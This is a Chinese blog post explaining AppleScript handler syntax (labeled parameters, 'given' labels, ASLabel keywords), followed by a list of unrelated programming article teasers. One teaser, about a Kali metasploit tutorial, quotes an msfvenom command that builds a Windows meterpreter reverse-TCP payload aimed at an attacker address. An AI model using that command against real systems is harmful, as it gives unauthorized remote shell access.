AppleScript: Handler
AppleScript绝对是个奇葩的存在!不管功能有多强大。
Handler有两种,一种是和OC类似的使用Label参数,一种是和javascript类似的使用括号把一堆参数都放在里面的。
label参数的Handler的写法非常奇怪,光看文档绝对让人迷糊。这里按照我的理解说一下。
on handleName of 第一个参数 [ASLabel 参数名...] [given label名:参数名[, label名:参数名...]]
这里解释一下。方括号括起来的是可以没有的。也就是只有一个参数的时候可以只在handlerName后面加一个of然后参数名就可以。这个简单,不多说。后面的比较麻烦。如果多余一个参数的时候,第二部分完全可以不要。只按照形式:given label名: 参数名的形式给出就可以。按照上面的形式可以推想到,使用given的形式可以给出很多的参数。比如:
on handlerName of firstone given another: anotherone, andone: anotherone1, andanotherone:anotherone2, andanotheragain:anotherone3
好的,回到handler定义形式的ASLabel部分。ASLabel是苹果系统定义的,而且在handler的定义中每一个ASLabel只能出现一次!郁闷就在于,苹果文档给出的这些关键词居然有无效的!看报错信息把,如果提示说“需要用到into什么的,而没有遇到”,那么恭喜你,你用的ASLabel不是系统定义的那个。
在调用label形式的handler的时候和定义的时候形式是一样的。这里主要针对的是后面的given定义形式。
AppleScript: Handler的更多相关文章
- Kali-利用metasploit中的exploit/multi/handler进行攻击
在攻击服务器上生成连接软件,LHOST为攻击机IP地址 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=4 ...
- android Handler介绍
Handler使用介绍: Handler根据接收的消息,处理UI更新.Thread线程发出消息,通知Handler更新UI. Handler mHandler = new Handler() { p ...
- Handler
1.1 继承AbstractController优点:能定制请求方式 package cn.happyl.controller; import javax.servlet.http.HttpServl ...
- Android消息处理机制(Handler、Looper、MessageQueue与Message)
Android是消息驱动的,实现消息驱动有几个要素: 消息的表示:Message 消息队列:MessageQueue 消息循环,用于循环取出消息进行处理:Looper 消息处理,消息循环从消息队列中取 ...
- Android笔记——Handler Runnable与Thread的区别
在java中可有两种方式实现多线程,一种是继承Thread类,一种是实现Runnable接口:Thread类是在java.lang包中定义的.一个类只要继承了Thread类同时覆写了本类中的run() ...
- Android消息传递之Handler消息机制
前言: 无论是现在所做的项目还是以前的项目中,都会遇见线程之间通信.组件之间通信,目前统一采用EventBus来做处理,在总结学习EventBus之前,觉得还是需要学习总结一下最初的实现方式,也算是不 ...
- Handler系列之内存泄漏
本篇简单的讲一下平常使用Handler时造成内存泄漏的问题. 什么是内存泄漏?大白话讲就是分配出去的内存,回收不回来.严重会导致内存不足OOM.下面来看一下造成内存泄漏的代码: public clas ...
- Handler系列之创建子线程Handler
上一篇我介绍了Handler机制的工作原理,默认情况下,ActivityThread类为我们创建的了主线程的Looper和消息队列,所以当你创建Handler之后发送消息的时候,消息的轮训和handl ...
- Handler系列之原理分析
上一节我们讲解了Handler的基本使用方法,也是平时大家用到的最多的使用方式.那么本节让我们来学习一下Handler的工作原理吧!!! 我们知道Android中我们只能在ui线程(主线程)更新ui信 ...
随机推荐
- inline修饰虚函数的问题
虚函数是否可以内联? 一般来说,inline是编译时的行为,虚函数是在程序执行时的行为,因此编译器一般会拒绝对虚函数进行内联!
- Oracle.DataAccess.dll 部署安装
Oracle.DataAccess.dll 要拷贝到项目发布目录 项目发布的时候,还必须要拷贝以下几个文件在运行目录1.oci.dll 2.oraociicus11.dll 3.OraOps11w.d ...
- Azkaban 使用问题及解决
什么是Azkaban Azkaban是一款基于Java编写的任务调度系统 任务调度:有四个任务脚A.B.C.D,其中任务A与任务B可以并行运行,然后任务C依赖任务A和任务B的运行结果,任务D依赖任务C ...
- 图片采集器_PHP
现在国内模仿“pinterest”的越来越多了,之前我做过一个基于chrome浏览器上的一个“图片采集工具”,类似于“花瓣网“那样的,初期我觉得挺简单,后来做起来发现还是挺复杂的,特别是整合到你自己的 ...
- Spring boot with Apache Hive
5.29.1. Maven <dependency> <groupId>org.springframework.boot</groupId> <artif ...
- JDK8时间格式转换
来源:https://blog.csdn.net/zhangzijiejiayou/article/details/76597329 LocalDateTime 本地日期时间 LocalDateTim ...
- Rhythmk 学习 Hibernate 04 - Hibernate 辅助工具 之 JBoos Tool
1.安装JBoos Tool Help -> Install new Software 然后添加: http://download.jboss.org/jbosstools/updates/de ...
- Maven(六) eclipse 使用Maven deploy命令部署构建到Nexus
转载于:http://blog.csdn.net/jun55xiu/article/details/43051627 1 应用场景:SYS-UTIL(系统工具)项目部署.构建成JAR包(SYS-UT ...
- LUA 删除元素的问题
table在删除元素时要注意,例t = { "hello", "world", "!"}t[1] = nil此时print(#t) --输出 ...
- TI davinci DM6467通过串口0将UBL和u-boot写入NAND flash
TI的davinci系列一般支持好几种启动模式,如下图TMS320DM6467的datasheet可以查到所有的BOOTMODE LVS301和LW9226的开发板上有一个选择bootmode的拨码开 ...